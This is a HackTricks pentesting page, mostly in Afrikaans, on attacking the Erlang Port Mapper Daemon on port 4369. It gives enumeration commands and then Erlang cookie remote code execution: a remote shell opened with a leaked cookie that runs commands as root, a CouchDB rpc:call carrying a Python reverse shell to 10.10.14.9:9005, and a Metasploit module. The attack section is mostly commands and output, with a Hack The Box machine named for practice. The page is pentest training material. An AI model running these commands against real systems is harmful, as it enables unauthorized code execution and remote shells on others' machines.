4369 - Pentesting Erlang Port Mapper Daemon (epmd)

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basiese Inligting

Die Erlang Port Mapper Daemon (epmd) dien as 'n koördineerder vir verspreide Erlang instansies. Dit is verantwoordelik vir die toewysing van simboliese knoopname aan masjienadresse, wat in wese verseker dat elke knoopnaam met 'n spesifieke adres geassosieer word. Hierdie rol van epmd is van kardinale belang vir die naatlose interaksie en kommunikasie tussen verskillende Erlang knope oor 'n netwerk.

Standaard poort: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

Dit word standaard gebruik op RabbitMQ en CouchDB installasies.

Enumerasie

Handmatig

echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

Outomaties

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Erlang Cookie RCE

Remote Connection

As jy die Authentication cookie kan leak, sal jy in staat wees om kode op die gasheer uit te voer. Gewoonlik is hierdie koekie geleë in ~/.erlang.cookie en word dit deur erlang gegenereer by die eerste opstart. As dit nie handmatig gewysig of gestel is nie, is dit 'n ewekansige string [A:Z] met 'n lengte van 20 karakters.

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh [e-mail]
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

([e-mail])1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

Meer inligting in https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/ Die outeur deel ook 'n program om die koekie te bruteforce:

7KB

epmd_bf-0.1.tar.bz2

Plaaslike Verbinding

In hierdie geval gaan ons CouchDB misbruik om voorregte plaaslik te verhoog:

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

Example taken from https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution Jy kan Canape HTB-masjien gebruik om te oefen hoe om hierdie kwesbaarheid te benut.

Metasploit

#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

• port:4369 "by poort"

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!

• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.